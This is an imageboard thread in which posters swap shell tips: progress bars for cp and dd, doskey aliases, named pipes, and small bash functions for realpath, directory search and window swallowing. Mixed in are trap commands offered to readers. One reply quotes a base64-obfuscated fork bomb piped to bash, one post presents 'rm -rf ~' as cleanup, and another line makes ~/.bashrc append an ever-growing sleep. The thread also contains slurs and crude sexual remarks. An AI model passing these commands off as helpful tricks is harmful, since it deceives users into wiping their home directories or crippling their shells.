ITT: post cool shell tricks only you know about

ITT: post cool shell tricks only you know about

To display a progress screen for long-running actions like cp, dd or some other file operation, do the following.
cp bigfile newfile & progress -mwp $!
-m is like watch -n 2, -w estimates throughput speed, and -p lets you monitor only a specifc PID, the current shell command $!, for example.

Attached: 1571774485653.jpg (1280x720, 101.71K)

Other urls found in this thread:

github.com/jarun/advcpmv
twitter.com/NSFWRedditGif

dd has its own status=progress option

illya-chan as i'm nakadashiing her

piping this to pv gives you a nice progress bar as well since the built in progress is pretty barebones

not so much a trick but theres a coreutils plugin for cp and mv to provide them with overall progress bars for recursive operations. it does technicallly make the operation take longer as it essentially runs a du before cp/mv however for massive operations that would take several hours or days anyway, an extra few seconds or a minute at rhe start for the ability to monitor total progress in real time is absolutely worth it.
github.com/jarun/advcpmv

and for a trick that people might not know, dos and windows cli do actually support aliases by using doskey, eg
doskey ls=dir
doskey cp=robocopy

>echo di{4ke`e(){e|e&};e`982 | base64 --decode | bash
nice try, you almost got me with that fork bomb

rm -rf ~ clears up lots of old stuff

The realpath command usually only takes paramters on ARGV, but if you want to turn it into a filter that consumes STDIN and produces on output on STDOUT, you can do something like this. This pattern is generally applicable to things that aren't filters but ought to be.

Bash
# A wrapper around realpath that turns it into a filter
function rp() {
while read p ; do
realpath "$p"
done
}

phone posting because i'm sitting watching the results of this poster being an ABSOLUTE PIECE OF SHIT
FUCK YOU

Show pics, fag.

On some Unix OSes, you can do ^T to show progress for many commands: it sends the SIGINFO signal.

realpath is not a filter because it's supposed to resolve an actual file on your disk, not just append text to a file that may or may not exist.

Nothing secret, just a neat function I wrote today to make cd-ing into albums in my various artists directory easier.
qcd(){
local search="$(ls -d */ .*/ | grep -i "$1")" \
length="$(ls -d */ .*/ | grep -i "$1" | wc -l)"
if [ "$length" = "1" ]; then
cd "$search"
elif [ "$length" = "0" ]; then
printf "qcd: Directory \"$1\" not found\n"
else
printf "qcd: Many directories matching \"$1\" found\n$search\n"
fi
}

echo "echo sleep 0.5 >> ~/.bashrc" >> ~/.bashrc

mkfifo allows you to create named pipes which you can use to connect the inputs and outputs of two programs together.
mkfifo myfifo
prog1 < myfifo | prog2 > myfifo

don't read and write to the same file in the same pipeline

That is not at all what is happening here.

shell is interpreted redirects first, the file myfifo would be formatted before prog1 has a chance to open it.

No it makes sense, sometimes you want things to be on the pipeline and not inside clusterfucks of subshell brackets. I have a command for exactly this
linecmd() {
local l
while IFS= read -r l; do
"$@" "${l//$'\r'/}"
done
}

I wrote this shell function once to emulate terminal swallowing, I only use it for feh, mpv and my file browser though.

swallow() (
WINID="$(xdotool getactivewindow)" || exit 1
"$@" 2> /dev/null &
xdotool windowunmap "$WINID" && wait
xdotool widowmap "$WINID"
)

Most terminal emulators have the variable $WINDOWID or something set to the window id so you dont have to use getactivewindow
You can also reparent the window to the terminal and then resize it to the terminals dimensions which would basically swallow it

realpath isn't that strict by default. Try this:
realpath ../something-that-doesnt-exist

I wrote that rp function, because I had a situation where tmsu was outputting a list of relative paths, and I needed to turn those into absolute paths before feeding that list of files to mpv. After searching around, I discovered realpath, but when I couldn't pipe to it, I wrapped it in a function that made it a more versatile citizen in the Unix ecosystem.